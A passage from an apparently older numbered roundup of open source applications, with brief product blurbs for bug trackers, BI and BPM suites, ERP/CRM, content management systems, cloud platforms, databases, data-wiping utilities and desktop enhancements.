Boasting thousands of users, BugTracker.NET is easy to use and highly configurable. It supports Subversion, Git, and Mercurial, and the website includes a helpful demo and a link to comparisons of various bug tracking systems. Operating System: Windows
91. Bugzilla
Used by thousands of organizations, including Mozilla, Facebook, the Linux kernel, the Apache Project, The New York Times, Yahoo and NASA, Bugzilla makes it easy for software development teams to track issues and code changes. It's Web-based and offers advanced search capabilities, e-mail notifications, reporting, excellent security, custom fields and workflow, and more. Operating System: Windows, Linux, OS X
92. FlySpray
FlySpray describes itself as "an uncomplicated, Web-based bug tracking system written in PHP for assisting with software development." It supports multiple databases, including MySQL and PGSQL, and it's easy to use. Operating System: OS Independent
93. GNATS
The GNU project's bug tracking system stores issue and resolution information in a central searchable database and communicates with users via a variety of mechanisms. Although it's usually accessed via the MantisBT
This Web-based bug tracker integrates with most SQL databases and can be accessed with any browser. It's easy to install and has an enormous list of features. Operating System: Windows, Linux, OS X

Open Source Apps: Business Rule Management System

95. JBoss Drools
A competitor to commercial software like Blaze Advisor and JRules, Drools describes itself as a business logic integration platform for rules, workflow and event processing. It includes five separate modules: Drools Guvnor (BRMS/BPMS), Drools Expert (rule engine), Drools Flow (process/workflow), Drools Fusion (event processing/temporal reasoning) and Drools Planner (automated planning). Operating System: OS Independent

Open Source Apps: Bulletin Board

96. phpBB
The world’s most widely used open source forum creation software, phpBB, lets you set up an online community in just minutes. It includes the ability to send attachments, create unlimited sub-forums, add custom BBCodes, and many other features. Operating System: OS independent

Open Source Apps: Business Intelligence (BI)

97. Jaspersoft
The self-proclaimed "most widely used business intelligence software," Jaspersoft products offer reporting, dashboards, analysis and data integration capabilities. The link above primarily promotes the commercial versions of the software, which include paid support. More info on the community versions can be found at JasperForge.org. Operating System: OS Independent
98. JMagallanes
If you only need reporting capabilities, JMagallanes might be right for you. It leverages code from several other open source projects to create static reports, Swing pivot tables for OLAP analysis, and charts. Operating System: OS Independent
99. OpenI
OpenI was specifically designed for on-demand and SaaS deployments. It helps users visualize data from OLAP and relational databases through reports and dashboards. Operating System: OS Independent.
100. OpenReports
Another Web-based reporting-only BI tool, OpenReports offers flexible scheduling, a variety of output formats, fine-grained security controls, built-in auditing and more. The paid professional version adds capabilities like dashboards, conditional scheduling, and others. Operating System: OS Independent
101. Palo BI Suite
Palo offers planning, reporting, analysis, dashboards, consolidation and more. The community version essentially extends the capabilities of Excel or OpenOffice, while the paid premium verison adds more reporting and OLAP modules. Operating System: OS Independent
102. Pentaho
Pentaho likes to calls itself "the open source business intelligence leader." It claims to reduce BI costs by 90 percent, and it's also available on an SaaS basis. Operating System: Windows, Linux, OS X
103. RapidMiner
"The world-leading open-source system for data and text mining," RapidMiner combines Data Integration, Analytical ETL, Data Analysis, and Reporting in a single solution. The enterprise versions offer an extended list of features, professional support and maintenance. Operating System: OS Independent.

Open Source Apps: Business Process Management/Business Performance Management (BPM)

104. Activiti
This newer project offers a lightweight, Java-based business process management platform. It aims to meet the needs of both business people and software developers. Operating System: OS Independent
105. Bonita Open Solution
Java-based Bonita Open Solution consists of three separate parts: a process modeling tool, a BPM and workflow engine, and the user interface. The full version of the software is free, with training and three different levels of support available for a fee. Operating System: OS Independent
106. ProcessMaker
Web-based ProcessMaker helps simplify workflows with tools for modeling workflows, automatic notification, reporting and optimization. It's available in a free community edition, a subscription-based enterprise edition or in a cloud-based version with a free trial. Operating System: Windows, Linux
107. uEngine
The uEngine BPM suite includes three separate components: BPM Foundation with a process engine and modeling tool; the process portal with personalization, single sign-on, and dashboard capabilities; and the BP Analyzer with OLAP analyzing and charting abilities. It supports multiple languages, including English, but because it is developed by a Korean company, parts of the Web site and interface sound strange to native English speakers. Operating System: OS Independent.

Open Source Apps: Business Suites

108.ADempiere
This community-based app offers ERP, CRM and POS functionality. It also integrates with several other open source apps as part of a full suite that adds Web 2.0, authentication, telephony, document management, BI, intranet and data repository capabilities. Operating System: Windows, Linux, OS X, others
109. allocPSA
This web-based suite calls itself "the premier online professional services automation solution." Key features include bookkeeping, project management, a dashboard, time tracking, to do lists, CRM, calendar, and much more, all designed specifically to meet the needs of professional service organizations. It's also available on an SaaS basis starting at $199 per year. Operating System: OS Independent
110. Compiere ERP + CRM Business Solution
Owned by Consona Corporation, Compiere boasts that it is the "most modern, adaptable and affordable ERP solution." It includes e-commerce, financial management, purchasing, materials management, order management, project accounting, sales, service, and performance management and reporting capabilities. It also comes in a paid enterprise version and is available on Amazon's cloud computing services. Operating System: Windows, Linux, OS X
111. Dolibarr ERP/CRM
Like NetSuite and Sage, Dolibarr ERP/CRM meets the needs of SMBs, foundations and freelancers. The website offers screenshots and an online demo so that you can see how it works. The basic software is free, but additional modules and add-ons are available through the Dolistore. Operating System: OS Independent
112. Phreedom
This ERP suite is based on the PhreeBooks accounting software which is incorporated in the package. It includes contacts, inventory, payment, PhreeBooks accounting, reporting and shipping modules, and other add-on modules are also available. Operating System: OS Independent
113. GNU Enterprise
GNU Enterprise contains a host of developer and ERP tools, including human resources, accounting, CRM, project management, supply chain management, and e-commerce features. Its modular design and open architecture make it easy to customize and easy to maintain. Operating System: Windows, Linux, OS X.
114. JAllInOne ERP/CRM
Despite its name, JAllInOne is primarily an ERP solution with some basic CRM functions. It provides all the standard ERP functionality and supports multiple users, multiple languages, and multiple companies. Operating System: OS Independent.
115. JFire
This Java-based ERP system comes ready-to-use with a full set of features, but can also be customized to meet your company's unique needs. It includes both ERP and CRM functionality and also comes in a version for service-based businesses. Aditional information about the software can be found on the jFire community site or on the NightLabs site, which also offers support and services for JFire. Operating System: OS Independent
116. Ohioedge
Ohioedge combines CRM and BPM features in a Java-based app. The site is light on documentation, but does include a helpful test drive that lets you see how the software can be used. Operating System: OS Independent
117. opentaps
Opentaps customers include Toyota, Honeywell and other well-known companies, and it supports e-commerce CRM, warehouse and inventory management, supply chain management, financial management and business intelligence. In addition to the free community version, it also comes in a paid professional version or a cloud-based version through Amazon Web Services; consulting and add-on modules are available as well. Operating System: Windows, Linux
118. Plazma ERP + CRM
This multi-function suite for SMBs offers a lot of CRM capabilities, along with a few ERP functions. The interface is bare-bones but easy to use, and while it comes with quite a bit of documentation, no paid support is available. Operating System: Windows, Linux, OS X
119. TNT Concept
This app isn't designed to replace existing financial management applications; rather, it works alongside them and adds management and CRM functionality. It's available on an SaaS basis from Spanish company Autentia, which originally developed the software for its own internal use. Operating System: OS Independent.

Open Source Apps: CAD

120. Archimedes
Designed for architects, Archimedes is a Java-based CAD program with a fairly minimal feature set. Note that this is different than the GNU Archimedes program for semiconductor design and testing. Operating System: Windows, Linux, OS X
121. BRL-CAD
For more than 20 years, the U.S. military has used BRL-CAD for solid modeling. Key features include interactive 3D solid geometry editing, high-performance ray-tracing support, network-distributed framebuffer support, image and signal-processing tools, path-tracing and photon mapping support, a system performance analysis benchmark suite, an embedded scripting interface, and more. Operating System: Windows, Linux, OS X, others

Open Source Apps: Charts

122. Chartdroid
Chartdroid offers developers a native chart engine for Android. It creates bar, donut, line, pie and scatter charts and graphs. Operating System: Android
123. GraphViz
This graph visualization program takes your text descriptions and turns them into graphical representations. It doesn't handle large graphs as well as aiSee, but works very well for most types of network diagrams. Operating System: Windows, Linux, OS X
124. HighCharts
Although the project is only a few years old, this JavaScript-based charting library counts IBM, NASA, Siemens, HP, EMC, CBS, Hitachi, Ericsson, BMW, Nissan, Sony and MasterCard among its customers. It's available with an open source license for non-commercial use or a fee-based license for commercial use. Operating System: OS Independent

Open Source Apps: Chemistry

125. Avogadro
Designed for advanced students, researchers and professional chemists, Avogadro describes itself as "advanced molecule editor and visualizer designed for cross-platform use in computational chemistry, molecular modeling, bioinformatics, materials science, and related areas." Operating System: Windows, Linux
126. Jmol
This java-based app lets students create diagrams of atoms, molecules, macromolecules, crystals, and more. The site includes a handbook and tutorials for helping you learn how to use the software. Operating System: OS Independent.
127. Kalzium
Another KDE app, Kalzium makes it easy to explore the periodic table. It also includes a molecular weight calculator, an isotopetable, a 3D molecule editor and an equation solver for stoichiometric problems. (Note that in order to use Kalzium on Windows, you'll have to download KDE for Windows.) Operating System: Windows, Linux
128. ProtoMol
ProtoMol is a framework for molecular dynamics simulation. It's designed to be highly flexible, easily extensible, and to meet high performance demands. Operating System: Linux, Unix, Windows.

Open Source Apps: Classroom Management

129. iTALC
Intelligent Teaching and Learning with Computers, aka iTALC, gives teachers the tools they need to manage a computer-based classroom without the high license fees of commercial software. Key features include remote control, demo viewing, overview mode, workstation locking and VPN access for off-site students. Operating System: Windows, Linux.
130. Mando
Mando lets you create an interactive whiteboard. If you have your computer connected to a camera and a projector, you can use your laser pointer to control the computer in front of the class, just as you would use a mouse at your desk. Operating System: Linux.

Open Source Apps: Cloud Infrastructure

131. AppScale
AppScale provides an alternative framework so that you can run apps created for Google App Engine on your private cloud or on a public cloud computing service like Amazon's EC2. It supports applications written in Python, Java and Go, and it works with a wide variety of datastores. Operating System: Linux
132. CloudStack
Now owned by Citrix, CloudStack seeks to enable "simple and cost effective deployment, management, and configuration of cloud computing environments." A commercially supported version is also available. Operating System: Linux
133. Cloud Foundry
VMware's platform as a service project supports Spring, Rails, Node.js, Scala and more. You can download the code or try the online beta service at CloudFoundry.com. Operating System: OS Independent
134. Eucalyptus
Short for "Elastic Utility Computing Architecture for Linking Your Programs To Useful Systems," Eucalyptus aims to help enterprises create their own on-premise private clouds. In addition to the free community version, it also comes in a commercially supported version. Operating System: Linux
135. OpenNebula
With more than 4,000 downloads per month, OpenNebula calls itself the "leading cloud management solution." It supports all major hypervisors and private, public and hybrid cloud computing models. Operating System: Linux
136. OpenStack
Originally backed by NASA and Rackspace, this IaaS project now has 117 corporate supporters, including Dell, AMD, Intel, HP and Cisco. The goal of OpenStack is to offer a standardized set of tools for deploying and maintaining a public or private cloud. Operating System: Linux
137. ownCloud
As the name suggests, this app lets you set up your "own cloud" so that you can access your stuff from anywhere. The Web interface makes it easy to find your files, music, calendar, contacts and bookmarks when you store them on your own server. Operating System: Windows, Linux
138. Quantum
This OpenStack incubator project aims to enable network-connectivity-as-a-service for clouds built on the OpenStack platform. Just seven months old, the project already offers an version 1.0 API and a couple of plug-ins. Operating System: Linux
139. Scalr
With Scalr, you can automatically scale up or down your usage of Amazon Web Services based on demand. The development version is available for free, while production and mission critical versions require a subscription. Operating System: Linux

Open Source Apps: Collaboration/Groupware

139. Collabtive
Designed as a replacement for Basecamp, Collabtive can even import Basecamp files. You can host it on your own server or use the hosted service. Operating System: OS Independent
140. cyn.in
Available as a free app, a hosted SaaS product or a paid enterprise on-premise appliance, cyn.in promises to "help teams to communicate faster and build collaborative knowledge." It offers wikis, social networks, blogs, file sharing repositories, micro blogs, discussion boards, and other tools in a unified framework. Operating System: Windows, Linux, OS X
141. Group-Office
Group-Office features a calendar, file sharing, e-mail, basic CRM capabilities, project management and mobile synchronization capabilities. You can choose to run the free or paid versions on your own mail server, or you can purchase Web-based service on a subscription basis. Operating System: OS Independent
142. EGroupware
Calling itself "the leading Online Collaboration Tool," EGroupware includes CRM, project management, event management, document management, file server, incident tracking, and more, as well as traditional groupware functionality. Hosted and commercially supported versions are available, or you can download the community version for free. Operating System: OS Independent.
143. Feng Office
Now with more than 350,000 users, Feng Office provides Web-based groupware, plus project management, billing, and other features useful to services companies. You can download the free community version or use one of the professional versions on an SaaS basis. Operating System: Windows, Linux, OS X
144. IGSuite
The Integrated Groupware Suite, or IGSuite, is another Web-based open source groupware system. In addition to calendaring, e-mail, etc., it also incorporates some basic CRM, ERP and CMS functionality. Operating System: Windows, Linux, Unix
145. K-9
K-9 is based on the e-mail client in Android, but adds some missing features. Those features include push IMAP support, attachment saving, BCC to self, signatures, flagging and more. Operating System: Android
146. Open Atrium
Open Atrium describes itself as "a team collaboration tool with a kick of open source hotness." It includes blog, calendar, sharebox, notebook, case tracker and dashboard capabilities. Operating System: OS Independent
147. phpGroupWare
This Gnu project offers more than 50 separate apps that enterprises can mix and match to meet their own communications needs. Capabilities include contact management, e-mail, calendar, Web content management, document management, project management, bug tracking, and more. Operating System: Windows, Linux
148. Simple Groupware
This Outlook-compatible enterprise groupware features email, calendaring, contacts, tasks, document management, project management, cell phone integration, full-text search and a library of extensions. It also uses the sgsML programming language so that in-house developers can build their own Web apps to extend its capabilities. Operating System: Windows, Linux
149. SparkleShare
SparkleShare aims to make it easy to share documents and collaborate on projects. Recently, it's becoming more popular as an alternative to services like Dropbox. Operating System: Windows, Linux, OS X, Android
150. TeamLab
This cloud-based app includes project management, business collaboration, document management, calendar, CRM and e-mail capabilities. You can host it on your own server, use the fee-based SaaS service or deploy it on Amazon EC2. Operating System: OS Independent
151. TUTOS
Short for "The Ultimate Team Organization Software," includes group calendar, email, time tracking, document management and project management. In addition, it also offers special features for developers, like a bug tracker, test support and some Scrum tools . Operating System: Linux
152. Zarafa
Zarafa is primarily and open source collaboration and e-mail server, but it also offers a mobile device management plug-in that allows companies to remote-wipe lost devices. It runs on a Linux server, but provides e-mail that can be accessed from any browser or from BlackBerry devices. Operating System: Linux

Open Source Apps: Communication

153. Elastix
Elastix is appliance software for Asterisk-based PBX systems. It combines a lot of the most popular Asterisk tools with a unique interface, utilities, and add-ons for a complete open-source VoIP system. Operating System: OS Independent

Open Source Apps: Compression

154. 7-zip
If you need to compress a file for e-mailing or any other purpose, 7-zip can make your files 30-70 percent smaller than WinZip. In addition, 7-zip can also read and write WinZip files, as well as several other compression formats. Operating System: Windows, Linux, OS X.
155. Caesium
This helpful app compresses images up to 90 percent, making it easier to e-mail them or upload them to your favorite Web site. It supports most common image formats, including JPG, PNG, GIF, BMP, and WMF. Operating System: Windows
156. KGB Archiver
The KGB Archiver offers both good compression and good encryption capabilities, with all files protected by AES-256 encryption automatically. It's also pretty fast, but you will need a fairly robust system in order to use it. Operating System: Windows
157. PeaZip
If you need to compress, extract or encrypt a file, PeaZip does the job nicely. And it supports a huge number of archive file formats—it creates 12 different types and reads 133 different types. Operating System: Windows, Linux

Open Source Apps: Content Management and Wikis

158. AIOCP
The All In One Control Panel (a.k.a. AIOCP) combines content management with e-commerce management and a development platform for creating Web apps. Support and services can be purchased from project owner Tecnick.com.Operating System: Windows, Linux, OS X
159. Alfresco
This all-in-one enterprise content management app combines a Web CMS with document management, records management, and enterprise collaboration capabilities. Besides the open source community version, it also comes in a paid enterprise version or an on-demand cloud version. Operating System: Windows, Linux
160. Archon
Winner of several awards, Archon simplifies the process of creating a searchable Web site to house archival materials. Administrators can input or edit information via Web forms, and the software automatically uploads and publishes the data. It's currently being used by more than 40 universities, zoos, historical societies, and other institutions. Operating System: OS Independent.
161. Armstrong
First released in 2011, Armstrong is a content management system specifically designed to meet the needs of news organizations. It was developed by The Bay Citizen and the Texas Tribune. Operating System: OS Independent
162. BIGACE
While BIGACE is used by many smaller organizations, it's multi-site, multi-language, and multi-user capabilities make it a possibility for larger enterprises looking for a Web CMS. Key features include a WYSIWIG editor, templates and stylesheets, and permission management. Operating System: Windows, Linux, Unix.
163. Bitweaver
Bitweaver's claim to fame is a modular design that lets you pick and choose which features you need. Those features include articles, wikis, image galleries, calendar, user management, and more. Operating System: OS Independent.
164. Daisy CMS
Java-based Daisy can be used for Web sites, intranets, product documentation, knowledge bases, and more. It includes both a document repository and a wiki. Operating System: OS Independent.
165. Devproof Portal
Devproof includes modules for blogging, articles, downloads, and more that make it easy to set up your own portal. It's easy to use, but not as popular as some of the other content management systems. Operating System: OS Independent
166. DotNetNuke
Used by more than 700,000 sites, DotNetNuke is a mature ASP.Net-based CMS with lots of documentation, add-ons, and other help available. It comes in both free community and paid professional and enterprise editions, with training and other services also available. Operating System: Windows
167. Drupal
Used by Popular Science, New York Observer, The Economist, Harvard, MIT, the White House, MTV UK and hundreds of thousands of other sites, Drupal is one of the most popular Web content management systems available. It offers a huge list of features, and tens of thousands of modules and themes are available to help you customize your site. Operating System: OS Independent
168. Family Connections
If you love scrapbooking, you might also love setting up a family Web site. This app makes it easy to create a private site for sharing photos, calendars, recipes and keeping in touch with family members. Operating System: OS Independent
169. Fedora Commons
Fedora Commons allows you to manage, preserve, and link different types of digital content. For example, you can use it to create an archive of video, audio, and text files on a particular topic which users can then search or comment on. Operating System: OS Independent.
170. Get Simple
Downloaded more than 90,000 times, this CMS offers great security, an extremely user-friendly interface, easy "undo," automatic backups and more. Because it's based on XML, it doesn't require a separate database, making it a good option for smaller organizations. Operating System: Linux
171. ImpressPages
This CMS's claim to fame is a drag-and-drop interface designed to make it easier for non-technical folks to create Web pages. It's SEO-friendly and based on PHP and MySQL. Operating System: Windows, Linux, OS X, Android
172. Joomla
Currently, 2.7 percent of all websites on the Internet use the Joomla content management system. The latest version offers one-click updating, improved multi-language handling, batch processing of articles, auto-validation of form data and more. Operating System: OS Independent
173. Liferay
Downloaded more than 4 million times, Liferay boasts that it’s the "leading open source portal for the enterprise." Commercial support, training and consulting are available through the site. Operating System: OS Independent
174. Magnolia
Used by many Fortune 500 companies, Magnolia offers fast and easy content publishing, scalability, flexibility and proven performance. It comes in fee-based enterprise standard and enterprise pro editions, as well as the community version. Operating System: Windows, Linux
175. MindTouch
Used by Autodesk, Fujistu, The Washington Post, HTC, Novell and other companies, MindTouch claims to be "the world’s most popular open source collaboration platform." The "Core" version is available under an open source license, while starter, standard and enterprise versions are available for a fee. Operating System: Windows, Linux
176. Owl Intranet Knowledgebase
Owl lets you create a knowledgebase or FAQ site. It's available in both a regular version and an "ultralite" version that does not use a database. Operating System: Windows, Linux
177. Pimcore
Winner of a 2010 Most Promising Open Source Award, Pimcore offers Web content management, product information management, asset management and rapid application development. It's based on the Zend framework and ExtJS. Operating System: Linux, Unix
178. TomatoCMS
Tomato takes a widgets-based approach to website design, which makes page layout very easy. Like Pimcore, it's also built on top of Zend. Operating System: Linux
179. TYPO3
Downloaded more than 4 million times, the TYPO3 content management system combines a rich feature set with usability. Key features include multimedia support, detailed user permissions, and scalability. Operating System: Windows, Linux, Unix
180. WebGUI
This CMS offers a framework for creating your own Web apps, as well as a full suite of modules, including wikis, photo galleries, message boards, event management, ecommerce, surveys, donations and more. Operating System: Windows, Linux/Unix, OS X
181. Wolf CMS
This newer CMS prides itself on being lightweight, fast and easy to use. However, note that it is easiest to use if you have some PHP coding skills. Operating System: Windows, Linux
182. XOOPS
Short for "eXtensible Object Oriented Portal System," XOOPS has grown far beyond its origins as portal software to support a wide range of sites, from small one-person blogs to large, multi-purpose enterprise websites. It features a modular design and is driven by a MySQL database. Operating System: OS Independent

Open Source Apps: Crafts

183. Scheme Maker
For crafty types, Scheme Maker takes photos or graphics and turns them into patterns for knitting or cross-stitching. We bet you know someone who would get a kick out being able to put a picture of their favorite dog on a sweater. Operating System: Windows

Open Source Apps: Customer Relationship Management (CRM)

184. CitrusDB
Citrus is a customer care and billing solution aimed at subscription-based products such as Internet service, telecommunications, and consulting. It tracks customer information, service records, custom billing cycles, and support tickets. Operating System: OS Independent
185. CiviCRM
Similar to Orange Leap, CiviCRM was particularly designed for advocacy groups, NGOs and non-profit organizations with similar needs. It includes modules for case management, fundraising, event management, membership management, e-mail communications and marketing, and it integrates with both Drupal and Joomla. Operating System: OS Independent
186. ConcourseSuite
Java-based ConcourseSuite combines CRM with Web content management and collaboration capabilities. In addition to the free community download, it's also available on a paid basis in the cloud. Operating System: Windows, Linux, OS X.
187. Covide
Covide promises up to 30 percent improvements in user productivity. In addition to CRM functions, it also includes some CMS, groupware, VoIP, calendar and e-mail functionality. Like Salesforce.com, it's available in a SaaS version. Operating System: Windows, OS X, Unix
188. Daffodil CRM
Daffodil CRM provides a complete picture of the entire customer lifecycle and includes tools for sales force automation, sales forecasting, efficient opportunity tracking, customer satisfaction, and performance management. The Daffodil site primarily promotes the commercially supported version, but you can download the free, open-source version from SourceForge. Operating System: OS Independent.
189. openCRX
This CRM solution provides account management, price and product management, groupware, and issue tracking capabilities. You can access it through any browser, and it integrates with most ERP and database applications. Operating System: OS Independent
190. Orange Leap
Orange Leap helps non-profit organizations management their communication with donors, supporters and other constituents. Paid support is also available. Operating System: Windows
191. SellWinCRM
This CRM tool is designed primarily for your sales force rather than your customer service staff, and includes a phone client that is very helpful for mobile employees. Despite the "Win" in the name this is a multi-platform tool; in this case, "Win" refers to actual sales wins, not Windows. Operating System: OS Independent
192. SourceTap
This very flexible sales force automation tool helps companies forecast sales, recognize trends, share information and close more deals. It offers dual licensing options, and it can also be purchased on an SaaS basis. Operating System: Windows, Linux
193. SplendidCRM
SplendidCRM tracks accounts, sales, leads, e-mail marketing campaigns, projects, tasks and more. For Windows users only, it can be deployed on-premise in free or commercial versions or used in the cloud on an SaaS basis. Operating System: Windows.
194. SugarCRM
"One of the world's most used CRM systems," Sugar helps you communicate with your customers and manage sales and customer service interactions. If you don't want to host the free version on your own server, you can also purchase on an SaaS basis. Operating System: Windows, Linux, OS X.
195. vtiger CRM
Used by more than 100,000 companies, vtiger offers lead management, support automation, campaign management, inventory management, e-mail integration, and mobile support for a very low total cost of ownership. Download and host it yourself, or use the SaaS version for just $12 per user per month. Operating System: Windows, Linux
196. X2Contacts
Now in beta release, X2Contacts offers sales management with a social-networking focus. It's aimed at SMBs and offers a blog-style interface that makes it easy to see and record sales contacts. Operating System: Windows, Linux, OS X

Open Source Apps: Databases

197. Cassandra
This Facebook-created NoSQL database isn't unknown, but it is new, having finally been released in version 1.0 in October 2011. The 1.0 version offers faster performance, easier use and superb scalability. Operating System: OS Independent
198. Firebird
First created in 1981, this RDBMS boasts "excellent concurrency, high performance, and powerful language support for stored procedures and triggers." Professional support is available through several of the companies that support the Firebird Foundation. Operating System: Windows, Linux, Unix, OS X, Solaris
199. Kexi
Calling itself “a long-awaited competitor for programs like MS Access or Filemaker,” KDE's Kexi offers a set of features similar to both applications. Those features include tools for importing files from spreadsheets, Access, CSV files, MySQL or PostgreSQL or for exporting to CSV files, MySQL or PostgreSQL. Operating System: Windows, Linux, OS X
200. MySQL
Many of the open source e-commerce solutions on our list require the MySQL database in order to function. It comes in both a free edition and paid editions which are supported by Oracle. Operating System: Windows, Linux, OS X
201. Riak
Riak isn't exactly a RBDMS, but it isn't exactly NoSQL either. It is a "highly scalable, fault-tolerant distributed database" that's designed for virtualized and cloud environments. In addition to the open source version, it also comes in a subscription-based enterprise version. Operating System: Linux, OS X
202. PostgreSQL
Another good option for storing your e-commerce data, PostgreSQL claims to be "the world's most advanced open source database." Commercial support and hosting are available through third-party providers. Operating System: Windows, Linux, OS X
203. VoltDB
VoltDB describes itself as "the NewSQL database for high velocity applications." It was recently named one of Gartner's Cool Vendors for 2011. In addition to the free community version, it also comes in several commercially supported versions. Operating System: Windows, Linux, OS X

Open Source Apps: Database Administration Tools

204. MonoQL
Similar to phpMyAdmin, MonoQL offers an Ajax-based Web application for managing SQL databases, including MySQL and Microsoft SQL. Capabilities include database and table design, data browsing, data editing and advanced queries. Operating System: OS Independent

Open Source Apps: Data Destruction

205. BleachBit
BleachBit protects your privacy in several ways: it cleans your cache, erases your Internet history, deletes cookies and gets rid of logs, temporary files and other junk you didn't even know your system was storing. It also includes a "shredder" to eliminate completely all traces of files you want to delete. Operating System: Windows, Linux
206. Darik's Boot And Nuke
If you're getting rid of an old PC or you have other reasons for wanting to destroy all the data on a hard drive, DBAN is for you. It securely deletes all information from all drives it can detect on your system so that those files cannot be recovered. Operating System: OS Independent
207. Disk Cleaner
This small utility cleans all the “junk” out of your temporary files, cache etc. It's also handy for protecting your privacy when using public machines. Operating System: Windows
208. Eraser
While DBAN erases your entire drive, Eraser securely deletes selected files and folders only. The website suggests it's ideal for eliminating all traces of "passwords, personal information, classified documents from work, financial records, and self-written poems." Operating System: Windows
209. FileKiller
FileKiller works much like Eraser, but it gives the user the option of determining how many times the old data is overwritten. It's also very fast. Operating System: Windows
210.Wipe
If you need a tool like Eraser, but you're running Linux, check out Wipe. It also securely deletes files and folders by writing over the old data several times. Operating System: Linux

Open Source Apps: Data Loss Prevention

211. OpenDLP
This tool for businesses or other organizations with large networks scans all the Windows systems on a network and identifies which systems contain sensitive data. That information is then sent back via a secure connection to a centralized Web app so that administrators or security consultants can see the results. Operating System: Windows
212. MyDLP
Another tool for larger organizations, MyDLP monitors incoming and outgoing traffic on your network looking for sensitive data leaks. It's available in a free community edition or a paid enterprise edition. Operating System: Windows, Linux, VMware

Open Source Apps: Data Warehouse (DW)

213. Apatar
Apatar software helps companies integrate their data from various on-site and on-demand applications, including Salesforce.com, Quickbooks, and others. In addition to the free software, the company offers commercial support, training, and integration consulting services, as well as some on-demand integration services and some pre-built data integration solutions. Operating System: Windows, Linux
214. DataCleaner
DataCleaner profiles, validates, and compares data in order to ensure its quality. It can work with nearly any kind of datastore, including Oracle, MySQL, XML files, Microsoft SQL, Excel spreadsheets, and more. Operating System: OS Independent.
215. Clover ETL
Designed for those with "modest data transformation and ETL requirements," the community edition of CloverETL makes it easy to move data between different types of databases and spreadsheets. For those with more advanced needs, CloverETL also offers a variety of fee-based versions. Operating System: OS Independent.
216. KETL
This "premier" extract, transform, load (ETL) tool offers excellent scalability, which allows it to compete against commercial tools. It integrates with most popular security and data management tools. Operating System: Linux, Unix.
217. LucidDB
LucidDB was specifically designed to serve the analytics needs of data warehouse and business intelligence projects. It was created with "flexible, high-performance data integration and sophisticated query processing in mind." Operating System: Windows, Linux.
218. MailArchiva
This app helps organizations meet their compliance requirements for storing e-mails long term. The enterprise edition adds a number of features not available in the open source edition, as well as offering faster performance for companies with a lot of users. Operating System: Windows, Linux.
219. Talend
The "recognized market leader in open source data integration," Talend offers a unified platform for data management that includes data integration, data quality and master data management tools. In addition to the free community versions of its products, Talend also offers paid support, training, commercial versions with additional features, and other services. Operating System: Windows, Linux, Unix.

Open Source Apps: Desktop Enhancements

220. Classic Shell
If you've upgraded to Windows 7 (or Windows Vista) and miss some of the features from older versions of Windows, this app can bring them back. It gives you a classic start menu, classic explorer, a toolbar in Windows Explorer and many other features. Operating System: Windows
221. Compiz
Compiz can be used as either a compositing manager to add fancy effects to your windows or as a full windows manager. Included effects include drop shadows, the desktop cube and expo view. Operating System: Linux
222. Console
For developers and others who like to work from the command line, Console adds capabilities that aren't available through cmd.exe. For example, it allows users to open multiple tabs, change the font and window style, use a text selection tool, and more. Operating System: Windows
223. Dave’s Quick Search Deskbar
Are the Google deskbar and "I'm feeling lucky" button not fast enough for you? Try Dave's Quick Search Deskbar. It lets you search the Internet without opening a browser first, and it has lots of helpful features that speed up search even more. Operating System: Windows
224. DropIt
If your file system is a mess, DropIt gives you an easier way to clean it up than using the file copy-and-paste capabilities of Windows Explorer. With this app, you can create an icon on your desktop that sends files to the folder of your choice. Just drag your file to icon and it will move the file where you want it to go. Operating System: Windows
225. Electric Sheep
One of the most interesting screensavers ever created, Electric Sheep connects your system to thousands of others around the world to create abstract animations known as "sheep." The name comes from the Philip K. Dick novel Do Androids Dream of Electric Sheep. Operating System: Windows, Linux, OS X
226. Emerge
This replacement for the Windows shell offers a minimalist interface based on applets. It lets users access programs via a right click instead of the Start Menu, and it offers an application launcher and virtual desktop capabilities. Operating System: Windows
227. Enlightenment
Compatible with both Gnome and KDE, Enlightenment is a fast, modular windows manager. The project also includes a large interface development library, some parts of which are usable on Windows, OS X and other OSes. Operating System: Linux
228. Florence
If you can't use your hands for some reason, or if you spilled Red Bull on your keyboard and are waiting for it to dry out, Florence can help you keep on typing. This app for the Gnome desktop puts a virtual keyboard on your screen that you can click with your mouse. Operating System: Linux, OS X
229. Fluxbox
Although it's not too flashy, this window manager is lightweight and fast. Key features include tabbing, editable menus, an application dock and more. Operating System: Linux
230. GeoShell
If you don't like the way your Windows interface looks, GeoShell can replace it with skinnable versions of the start menu, taskbar, system tray, etc. It also requires fewer resources than Windows Explorer, and it has a whole host of plug-ins that can add other features like RSS readers, weather forecasts and more. Operating System: Windows
231. Google Wallpaper
If you get bored having the same image on your desktop for more than five seconds or so, this app might be for you. You type in a keyword, an interval of time and whether or not you want to use "Safe Search." The app then pulls up random pictures from Google and uses them as your wallpaper for the period of time you set. Operating System: Windows
232. icewm
Icewm's stated goals include "speed, simplicity, and not getting in the user's way." It currently supports 25 different languages. Operating System: Linux, OS X
233. izulu
No window near your cubicle? This app automatically changes the background on your desktop to match current weather and time. Operating System: Linux
234. Karsten SlideShow
Like the “My Pictures Slideshow” screensaver that comes with Windows, this app shows your photos when your desktop is inactive. But unlike "My Pictures" this app makes it easy for you to decide which pictures and videos to include and which to leave out. Operating System: Windows
235. KWin
The default window manager for the KDE desktop, KWin puts an emphasis on reliability and good looks. The latest version supports compositing, that is, 3D window effects. Operating System: Linux
236. Kysrun
Much like Launchy (below), Kysrun starts your applications or opens bookmarks or documents with a couple of keystrokes. It also starts searches on Google, Wikipedia or IMDB and solves math problems. Operating System: Linux
237. Launchy
If you hate to use the mouse, Launchy is for you. It lets you open applications, documents, folders, bookmarks and more with just a few keystrokes. Operating System: Windows, Linux, OS X
238. LCARS 24
If you're a Trekkie with an old PC sitting in your basement or garage, you might want to install this app on that old system. It provides a talking alarm clock and other apps all based on the graphics from the Enterprise's displays. Operating System: Windows, DOS
239. LotseEscher
Fans of the artist M. C. Escher will enjoy this animated version of his Print Gallery drawing. If you like it, you may also like this developer's other screensavers: LotsaGlass, LotsaSnow and LotsaWater. Operating System: Windows, Linux, OS X
240. Matrixgl
For those who love the Matrix movies, this screensaver features falling green characters that create images of characters from the The Matrix Reloaded. Operating System: Windows, Linux, OS X
241. Metacity
The default window manager for Gnome 2.x, Metacity is designed to be as usable and unobtrusive as possible, and might be described as a little plain. The project owners themselves say, “Many window managers are like Marshmallow Froot Loops; Metacity is like Cheerios.” Operating System: Linux
242. Pixel City
This app generates new night-time cityscape artwork every time it runs. Check out the demonstration video link on the site to see how it works. Operating System: Windows
243. PNotes
